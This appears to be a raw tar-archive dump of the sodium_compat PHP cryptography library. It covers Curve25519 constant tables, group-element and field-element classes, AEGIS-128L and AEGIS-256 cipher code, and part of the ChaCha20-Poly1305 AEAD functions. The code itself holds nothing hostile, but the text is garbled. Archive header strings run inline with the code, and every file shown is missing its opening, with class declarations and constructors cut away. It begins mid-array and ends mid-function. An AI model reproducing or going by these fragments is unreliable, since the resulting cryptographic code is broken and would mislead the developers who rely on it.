2786261, -30633590, -14097016), ), array( array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373), array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228), array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141), ), array( array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399), array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831), array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376), ), array( array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313), array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958), array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577), ), array( array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743), array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684), array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476), ), ) ); /** * See: libsodium's crypto_core/curve25519/ref10/base2.h * * @var array basically int[8][3] */ protected static $base2 = array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877), array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951), array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784), ), array( array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436), array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918), array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877), ), array( array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800), array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305), array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300), ), array( array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876), array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619), array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683), ) ); /** * 37095705934669439343138083508754565189542113879843219016388785533085940283555 * * @var array */ protected static $d = array( -10913610, 13857413, -15372611, 6949391, 114729, -8787816, -6275908, -3247719, -18696448, -12055116 ); /** * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161 * * @var array */ protected static $d2 = array( -21827239, -5839606, -30745221, 13898782, 229458, 15978800, -12551817, -6495438, 29715968, 9444199 ); /** * sqrt(-1) * * @var array */ protected static $sqrtm1 = array( -32595792, -7943725, 9377950, 3500415, 12389472, -272473, -25146209, -2005654, 326686, 11406482 ); /** * 1 / sqrt(a - d) * * @var array */ protected static $invsqrtamd = array( 6111485, 4156064, -27798727, 12243468, -25904040, 120897, 20826367, -7060776, 6093568, -1986012 ); /** * sqrt(ad - 1) with a = -1 (mod p) * * @var array */ protected static $sqrtadm1 = array( 24849947, -153582, -23613485, 6347715, -21072328, -667138, -25271143, -15367704, -870347, 14525639 ); /** * 1 - d ^ 2 * * @var array */ protected static $onemsqd = array( 6275446, -16617371, -22938544, -3773710, 11667077, 7397348, -27922721, 1766195, -24433858, 672203 ); /** * (d - 1) ^ 2 * @var array */ protected static $sqdmone = array( 15551795, -11097455, -13425098, -10125071, -11896535, 10178284, -26634327, 4729244, -5282110, -10116402 ); /* * 2^252+27742317777372353535851937790883648493 static const unsigned char L[] = { 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 }; */ const L = "\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10"; } sodium_compat/src/Core/Curve25519/README.md000064400000000332147177035010014042 0ustar00# Curve25519 Data Structures These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h). sodium_compat/src/Core/Curve25519/Ge/P1p1.php000064400000003201147177035010014346 0ustar00X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->T = $t; } } sodium_compat/src/Core/Curve25519/Ge/Precomp.php000064400000002650147177035010015241 0ustar00yplusx = $yplusx; if ($yminusx === null) { $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->yminusx = $yminusx; if ($xy2d === null) { $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->xy2d = $xy2d; } } sodium_compat/src/Core/Curve25519/Ge/P3.php000064400000003172147177035010014116 0ustar00X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->T = $t; } } sodium_compat/src/Core/Curve25519/Ge/Cached.php000064400000003345147177035010015005 0ustar00YplusX = $YplusX; if ($YminusX === null) { $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->YminusX = $YminusX; if ($Z === null) { $Z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Z = $Z; if ($T2d === null) { $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->T2d = $T2d; } } sodium_compat/src/Core/Curve25519/Ge/P2.php000064400000002501147177035010014110 0ustar00X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } $this->Z = $z; } } sodium_compat/src/Core/Curve25519/Fe.php000064400000006021147177035010013627 0ustar00 */ protected $container = array(); /** * @var int */ protected $size = 10; /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self */ public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->container[] = $value; } else { $this->container[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->container[$offset])) { $this->container[$offset] = 0; } return (int) ($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { return array(implode(', ', $this->container)); } } sodium_compat/src/Core/AEGIS/State128L.php000064400000020052147177035010014062 0ustar00 $state */ protected $state; public function __construct() { $this->state = array_fill(0, 8, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 8) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 8; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); // S0 = key ^ nonce $state->state[0] = $key ^ $nonce; // S1 = C1 $state->state[1] = SODIUM_COMPAT_AEGIS_C1; // S2 = C0 $state->state[2] = SODIUM_COMPAT_AEGIS_C0; // S3 = C1 $state->state[3] = SODIUM_COMPAT_AEGIS_C1; // S4 = key ^ nonce $state->state[4] = $key ^ $nonce; // S5 = key ^ C0 $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0; // S6 = key ^ C1 $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1; // S7 = key ^ C0 $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0; // Repeat(10, Update(nonce, key)) for ($i = 0; $i < 10; ++$i) { $state->update($nonce, $key); } return $state; } /** * @param string $ai * @return self */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16); return $this->update($t0, $t1); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(out0, out1) // xi = out0 || out1 $this->update($out0, $out1); return $out0 . $out1; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(ZeroPad(cn, 256), 128) $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT); $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // xn = Truncate(out0 || out1, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len); // v0, v1 = Split(ZeroPad(xn, 256), 128) $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT); $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16); $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16); // Update(v0, v1) $this->update($v0, $v1); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) { throw new SodiumException('Input must be two AES blocks in size'); } // z0 = S6 ^ S1 ^ (S2 & S3) $z0 = $this->state[6] ^ $this->state[1] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // z1 = S2 ^ S5 ^ (S6 & S7) $z1 = $this->state[2] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]); // t0, t1 = Split(xi, 128) $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16); $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16); // out0 = t0 ^ z0 // out1 = t1 ^ z1 $out0 = $t0 ^ $z0; $out1 = $t1 ^ $z1; // Update(t0, t1) // ci = out0 || out1 $this->update($t0, $t1); // return ci return $out0 . $out1; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[2] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t, $t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) . ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]); } /** * @param string $m0 * @param string $m1 * @return self */ public function update($m0, $m1) { /* S'0 = AESRound(S7, S0 ^ M0) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4 ^ M1) S'5 = AESRound(S4, S5) S'6 = AESRound(S5, S6) S'7 = AESRound(S6, S7) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[7], $this->state[0] ^ $m0, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4] ^ $m1, $this->state[4], $this->state[5] ); list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5], $this->state[6], $this->state[6], $this->state[7] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 S6 = S'6 S7 = S'7 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; $this->state[6] = $s_6; $this->state[7] = $s_7; return $this; } }sodium_compat/src/Core/AEGIS/State256.php000064400000014575147177035010013765 0ustar00 $state */ protected $state; public function __construct() { $this->state = array_fill(0, 6, ''); } /** * @internal Only use this for unit tests! * @return string[] */ public function getState() { return array_values($this->state); } /** * @param array $input * @return self * @throws SodiumException * * @internal Only for unit tests */ public static function initForUnitTests(array $input) { if (count($input) < 6) { throw new SodiumException('invalid input'); } $state = new self(); for ($i = 0; $i < 6; ++$i) { $state->state[$i] = $input[$i]; } return $state; } /** * @param string $key * @param string $nonce * @return self */ public static function init($key, $nonce) { $state = new self(); $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16); $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16); $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16); $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16); // S0 = k0 ^ n0 // S1 = k1 ^ n1 // S2 = C1 // S3 = C0 // S4 = k0 ^ C0 // S5 = k1 ^ C1 $k0_n0 = $k0 ^ $n0; $k1_n1 = $k1 ^ $n1; $state->state[0] = $k0_n0; $state->state[1] = $k1_n1; $state->state[2] = SODIUM_COMPAT_AEGIS_C1; $state->state[3] = SODIUM_COMPAT_AEGIS_C0; $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0; $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1; // Repeat(4, // Update(k0) // Update(k1) // Update(k0 ^ n0) // Update(k1 ^ n1) // ) for ($i = 0; $i < 4; ++$i) { $state->update($k0); $state->update($k1); $state->update($k0 ^ $n0); $state->update($k1 ^ $n1); } return $state; } /** * @param string $ai * @return self * @throws SodiumException */ public function absorb($ai) { if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) { throw new SodiumException('Input must be an AES block in size'); } return $this->update($ai); } /** * @param string $ci * @return string * @throws SodiumException */ public function dec($ci) { if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $xi = $ci ^ $z; $this->update($xi); return $xi; } /** * @param string $cn * @return string */ public function decPartial($cn) { $len = ParagonIE_Sodium_Core_Util::strlen($cn); // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); // t = ZeroPad(cn, 128) $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT); // out = t ^ z $out = $t ^ $z; // xn = Truncate(out, |cn|) $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len); // v = ZeroPad(xn, 128) $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT); // Update(v) $this->update($v); // return xn return $xn; } /** * @param string $xi * @return string * @throws SodiumException */ public function enc($xi) { if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) { throw new SodiumException('Input must be an AES block in size'); } // z = S1 ^ S4 ^ S5 ^ (S2 & S3) $z = $this->state[1] ^ $this->state[4] ^ $this->state[5] ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]); $this->update($xi); return $xi ^ $z; } /** * @param int $ad_len_bits * @param int $msg_len_bits * @return string */ public function finalize($ad_len_bits, $msg_len_bits) { $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) . ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits); $t = $this->state[3] ^ $encoded; for ($i = 0; $i < 7; ++$i) { $this->update($t); } return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) . ($this->state[3] ^ $this->state[4] ^ $this->state[5]); } /** * @param string $m * @return self */ public function update($m) { /* S'0 = AESRound(S5, S0 ^ M) S'1 = AESRound(S0, S1) S'2 = AESRound(S1, S2) S'3 = AESRound(S2, S3) S'4 = AESRound(S3, S4) S'5 = AESRound(S4, S5) */ list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[5],$this->state[0] ^ $m, $this->state[0], $this->state[1] ); list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[1], $this->state[2], $this->state[2], $this->state[3] ); list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound( $this->state[3], $this->state[4], $this->state[4], $this->state[5] ); /* S0 = S'0 S1 = S'1 S2 = S'2 S3 = S'3 S4 = S'4 S5 = S'5 */ $this->state[0] = $s_0; $this->state[1] = $s_1; $this->state[2] = $s_2; $this->state[3] = $s_3; $this->state[4] = $s_4; $this->state[5] = $s_5; return $this; } } sodium_compat/src/Core/AEGIS128L.php000064400000007124147177035010013007 0ustar00> 5; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 5, 32); if (self::strlen($ai) < 32) { $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $msg = ''; $cn = self::strlen($ct) & 31; $ct_blocks = self::strlen($ct) >> 5; for ($i = 0; $i < $ct_blocks; ++$i) { $msg .= $state->dec(self::substr($ct, $i << 5, 32)); } if ($cn) { $start = $ct_blocks << 5; $msg .= $state->decPartial(self::substr($ct, $start, $cn)); } $expected_tag = $state->finalize( self::strlen($ad) << 3, self::strlen($msg) << 3 ); if (!self::hashEquals($expected_tag, $tag)) { try { // The RFC says to erase msg, so we shall try: ParagonIE_Sodium_Compat::memzero($msg); } catch (SodiumException $ex) { // Do nothing if we cannot memzero } throw new SodiumException('verification failed'); } return $msg; } /** * @param string $msg * @param string $ad * @param string $key * @param string $nonce * @return array * * @throws SodiumException */ public static function encrypt($msg, $ad, $key, $nonce) { $state = self::init($key, $nonce); // ad_blocks = Split(ZeroPad(ad, 256), 256) // for ai in ad_blocks: // Absorb(ai) $ad_len = self::strlen($ad); $msg_len = self::strlen($msg); $ad_blocks = ($ad_len + 31) >> 5; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 5, 32); if (self::strlen($ai) < 32) { $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } // msg_blocks = Split(ZeroPad(msg, 256), 256) // for xi in msg_blocks: // ct = ct || Enc(xi) $ct = ''; $msg_blocks = ($msg_len + 31) >> 5; for ($i = 0; $i < $msg_blocks; ++$i) { $xi = self::substr($msg, $i << 5, 32); if (self::strlen($xi) < 32) { $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT); } $ct .= $state->enc($xi); } // tag = Finalize(|ad|, |msg|) // ct = Truncate(ct, |msg|) $tag = $state->finalize( $ad_len << 3, $msg_len << 3 ); // return ct and tag return array( self::substr($ct, 0, $msg_len), $tag ); } /** * @param string $key * @param string $nonce * @return ParagonIE_Sodium_Core_AEGIS_State128L */ public static function init($key, $nonce) { return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce); } } sodium_compat/src/Core/AEGIS256.php000064400000007016147177035010012675 0ustar00> 4; // for ai in ad_blocks: // Absorb(ai) for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 4, 16); if (self::strlen($ai) < 16) { $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $msg = ''; $cn = self::strlen($ct) & 15; $ct_blocks = self::strlen($ct) >> 4; // ct_blocks = Split(ZeroPad(ct, 128), 128) // cn = Tail(ct, |ct| mod 128) for ($i = 0; $i < $ct_blocks; ++$i) { $msg .= $state->dec(self::substr($ct, $i << 4, 16)); } // if cn is not empty: // msg = msg || DecPartial(cn) if ($cn) { $start = $ct_blocks << 4; $msg .= $state->decPartial(self::substr($ct, $start, $cn)); } $expected_tag = $state->finalize( self::strlen($ad) << 3, self::strlen($msg) << 3 ); if (!self::hashEquals($expected_tag, $tag)) { try { // The RFC says to erase msg, so we shall try: ParagonIE_Sodium_Compat::memzero($msg); } catch (SodiumException $ex) { // Do nothing if we cannot memzero } throw new SodiumException('verification failed'); } return $msg; } /** * @param string $msg * @param string $ad * @param string $key * @param string $nonce * @return array * @throws SodiumException */ public static function encrypt($msg, $ad, $key, $nonce) { $state = self::init($key, $nonce); $ad_len = self::strlen($ad); $msg_len = self::strlen($msg); $ad_blocks = ($ad_len + 15) >> 4; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 4, 16); if (self::strlen($ai) < 16) { $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $ct = ''; $msg_blocks = ($msg_len + 15) >> 4; for ($i = 0; $i < $msg_blocks; ++$i) { $xi = self::substr($msg, $i << 4, 16); if (self::strlen($xi) < 16) { $xi = str_pad($xi, 16, "\0", STR_PAD_RIGHT); } $ct .= $state->enc($xi); } $tag = $state->finalize( $ad_len << 3, $msg_len << 3 ); return array( self::substr($ct, 0, $msg_len), $tag ); } /** * @param string $key * @param string $nonce * @return ParagonIE_Sodium_Core_AEGIS_State256 */ public static function init($key, $nonce) { return ParagonIE_Sodium_Core_AEGIS_State256::init($key, $nonce); } } sodium_compat/src/Crypto.php000064400000153032147177035010012200 0ustar00update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { 